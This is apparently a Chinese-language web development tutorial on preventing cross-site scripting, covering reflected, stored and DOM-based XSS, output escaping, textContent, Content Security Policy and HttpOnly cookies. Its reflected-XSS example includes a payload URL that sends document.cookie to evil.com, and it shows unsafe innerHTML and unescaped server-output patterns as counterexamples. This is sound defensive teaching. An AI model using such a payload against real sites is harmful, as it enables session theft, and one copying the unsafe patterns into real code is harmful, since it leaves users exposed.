Skip to content

XSS 防护

跨站脚本攻击(Cross-Site Scripting, XSS)是最常见的 Web 安全漏洞之一。攻击者通过在页面中注入恶意脚本,窃取用户数据、劫持会话或篡改页面内容。本节将介绍三种 XSS 类型(反射型、存储型、DOM 型)的原理和防护方法,包括输出转义和 Content Security Policy 的使用。

前置知识

阅读本节前,建议先了解:Core Web Vitals

XSS 类型

反射型 XSS

反射型 XSS 的恶意脚本来自用户请求中的参数,服务器将参数直接插入到响应中。

html
<!-- 攻击示例 -->
<!-- 搜索功能将用户输入直接显示在页面上 -->
<!-- URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script> -->

<!-- 服务器端代码(不安全) -->
<div class="search-results">
  <p>搜索 "<%= request.getParameter("q") %>" 的结果:</p>
</div>

<!-- 如果 q 参数包含脚本,会被执行 -->

存储型 XSS

存储型 XSS 的恶意脚本被保存到服务器(如数据库),每次页面加载时都会执行。

html
<!-- 攻击场景:评论区 -->
<!-- 攻击者在评论中写入脚本 -->
<div class="comment">
  <p><script>stealUserData()</script></p>
</div>

<!-- 每个访问该页面的用户都会执行这个脚本 -->

DOM 型 XSS

DOM 型 XSS 的恶意脚本通过 JavaScript 动态修改 DOM 时注入。

javascript
// 不安全:直接使用用户输入修改 DOM
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
// 如果 userInput = <img src=x onerror="stealCookies()">
// 脚本会被执行

// 不安全:使用 document.write
document.write('<div>' + userInput + '</div>');

防护方法

输出转义

对不同上下文使用不同的转义策略:

html
<!-- HTML 上下文:转义 HTML 特殊字符 -->
<!-- < → &lt; > → &gt; & → &amp; " → &quot; ' → &#x27; -->

<!-- 安全输出 -->
<p>用户搜索: &lt;script&gt;alert(1)&lt;/script&gt;</p>

<!-- JavaScript 上下文:转义 JavaScript 特殊字符 -->
<script>
  // 不安全
  var name = "<%= request.getParameter("name") %>";
  // 安全:JSON 编码
  var name = JSON.parse('<%= JSON.stringify(request.getParameter("name")) %>');
</script>

<!-- URL 上下文:编码 URL -->
<a href="https://example.com/search?q=<%= URLEncoder.encode(query) %>">
  搜索
</a>

使用 textContent 替代 innerHTML

html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>XSS 防护示例</title>
</head>
<body>
  <div id="output"></div>
  <div id="safe-output"></div>

  <script>
    const userInput = '<img src=x onerror="alert(1)">';

    // 不安全:innerHTML 会解析 HTML
    document.getElementById('output').innerHTML = userInput;
    // 脚本被执行!

    // 安全:textContent 只插入纯文本
    document.getElementById('safe-output').textContent = userInput;
    // 显示:<img src=x onerror="alert(1)">(不会执行)
  </script>
</body>
</html>

Content Security Policy

html
<!-- 通过 meta 标签设置 CSP -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' https://cdn.example.com data:;
  font-src 'self' https://fonts.googleapis.com;
  connect-src 'self' https://api.example.com;
  frame-src 'self';
  report-uri /csp-report;
">

HTTP 头设置 CSP

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; report-uri /csp-report

使用安全的前端框架

现代前端框架(React、Vue、Angular)默认转义输出:

html
<!-- React 自动转义 -->
<!-- const userInput = '<script>alert(1)</script>'; -->
<div>{userInput}</div>
<!-- 输出: &lt;script&gt;alert(1)&lt;/script&gt; -->

<!-- 如需渲染 HTML,使用 dangerouslySetInnerHTML(谨慎使用) -->
<div dangerouslySetInnerHTML={{ __html: sanitizedHTML }}></div>

其他防护措施

html
<!-- HttpOnly Cookie:防止 JavaScript 访问 Cookie -->
<!-- 通过服务器响应头设置 -->
<!-- Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict -->

<!-- 设置 X-Content-Type-Options -->
<!-- 防止 MIME 类型嗅探 -->
<!-- X-Content-Type-Options: nosniff -->

<!-- 设置 X-XSS-Protection(已弃用,但仍有辅助作用) -->
<!-- X-XSS-Protection: 1; mode=block -->

注意事项

  1. 不要信任用户输入:所有用户输入都必须验证和转义
  2. CSP 不是万能的:CSP 是纵深防御的一部分,不能替代输出转义
  3. innerHTML 是危险的:尽量使用 textContent
  4. 测试 XSS 漏洞:使用自动化工具扫描 XSS 漏洞
  5. HttpOnly Cookie:设置 HttpOnly 防止 JavaScript 访问

最佳实践

  • 对所有用户输入进行验证和转义
  • 使用 textContent 替代 innerHTML
  • 配置 Content Security Policy
  • 使用 HttpOnly + Secure Cookie
  • 使用现代前端框架的默认转义功能
  • 设置 X-Content-Type-Options: nosniff
  • 定期进行安全审计和渗透测试

下一节

继续学习:CSP 内容安全策略

参考链接